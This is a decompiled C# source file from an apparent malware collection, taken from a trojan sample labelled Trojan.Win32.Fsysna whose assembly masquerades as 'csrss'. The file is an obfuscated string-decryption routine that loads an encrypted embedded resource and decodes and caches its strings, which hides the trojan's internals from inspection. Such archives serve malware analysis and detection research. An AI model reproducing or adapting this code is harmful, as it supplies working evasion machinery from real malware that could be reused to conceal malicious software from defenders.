MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0002/_0002.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe

using \u0001;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0002
{
  internal sealed class \u0002
  {
    [NonSerialized]
    internal static \u0001.\u0002 \u0001;
    private static string \u0001;
    private static string \u0002;
    private static byte[] \u0001;
    private static Hashtable \u0001;
    private static bool \u0001;
    private static int \u0001;

    public static string \u0002([In] int obj0)
    {
      obj0 -= \u0002.\u0002.\u0001;
      if (\u0002.\u0002.\u0001)
      {
        string str = (string) \u0088\u0003.\u007E\u0081\u0004((object) \u0002.\u0002.\u0001, (object) obj0);
        switch (str)
        {
          case null:
            break;
          default:
            return str;
        }
      }
      int num1 = obj0;
      byte[] numArray1 = \u0002.\u0002.\u0001;
      int index1 = num1;
      int num2 = index1 + 1;
      int num3 = (int) numArray1[index1];
      int num4;
      if ((num3 & 128) == 0)
      {
        num4 = num3;
        if (num4 == 0)
          return string.Empty;
      }
      else if ((num3 & 64) == 0)
      {
        num4 = ((num3 & 63) << 8) + (int) \u0002.\u0002.\u0001[num2++];
      }
      else
      {
        int num5 = (num3 & 31) << 24;
        byte[] numArray2 = \u0002.\u0002.\u0001;
        int index2 = num2;
        int num6 = index2 + 1;
        int num7 = (int) numArray2[index2] << 16;
        int num8 = num5 + num7;
        byte[] numArray3 = \u0002.\u0002.\u0001;
        int index3 = num6;
        int num9 = index3 + 1;
        int num10 = (int) numArray3[index3] << 8;
        int num11 = num8 + num10;
        byte[] numArray4 = \u0002.\u0002.\u0001;
        int index4 = num9;
        num2 = index4 + 1;
        int num12 = (int) numArray4[index4];
        num4 = num11 + num12;
      }
      try
      {
        byte[] numArray5 = \u0011\u0003.\u0083\u0003(\u009D\u0003.\u007E\u000E\u0005((object) \u009E\u0003.\u000F\u0005(), \u0002.\u0002.\u0001, num2, num4));
        string str = \u009B\u0002.\u0001\u0003(\u009D\u0003.\u007E\u000E\u0005((object) \u009E\u0003.\u000F\u0005(), numArray5, 0, numArray5.Length));
        if (\u0002.\u0002.\u0001)
        {
          try
          {
            \u0087\u0003.\u007E\u007F\u0004((object) \u0002.\u0002.\u0001, (object) obj0, (object) str);
          }
          catch
          {
          }
        }
        return str;
      }
      catch
      {
        return (string) null;
      }
    }

    static \u0002()
    {
      // ISSUE: type reference
      \u0004.\u0002(\u001D\u0003.\u009E\u0003(__typeref (\u0002.\u0002)));
      \u0002.\u0002.\u0001 = "0";
      \u0002.\u0002.\u0002 = "90";
      \u0002.\u0002.\u0001 = (byte[]) null;
      \u0002.\u0002.\u0001 = (Hashtable) null;
      \u0002.\u0002.\u0001 = false;
      \u0002.\u0002.\u0001 = 0;
      if (\u008E\u0002.\u008B\u0002(\u0002.\u0002.\u0001, "1"))
      {
        \u0002.\u0002.\u0001 = true;
        \u0002.\u0002.\u0001 = new Hashtable();
      }
      \u0002.\u0002.\u0001 = \u000E\u0003.\u0080\u0003(\u0002.\u0002.\u0002);
      Assembly assembly = \u0092\u0003.\u0091\u0004();
      Stream stream = \u008D\u0003.\u007E\u008B\u0004((object) assembly, "{57f4d4ce-643e-4c92-9c47-86b837b59593}");
      try
      {
        int length = \u0008\u0003.\u007F\u0003(\u001F\u0002.\u007E\u0017\u0005((object) stream));
        byte[] numArray = new byte[(int) checked ((uint) length)];
        int num = \u0016\u0002.\u007E\u001A\u0005((object) stream, numArray, 0, length);
        \u0002.\u0002.\u0001 = \u0003.\u0003.\u0002(numArray);
        \u0001\u0002.\u007E\u0019\u0005((object) stream);
      }
      finally
      {
        if (stream != null)
          \u0001\u0002.\u007E\u0088\u0002((object) stream);
      }
    }
  }
}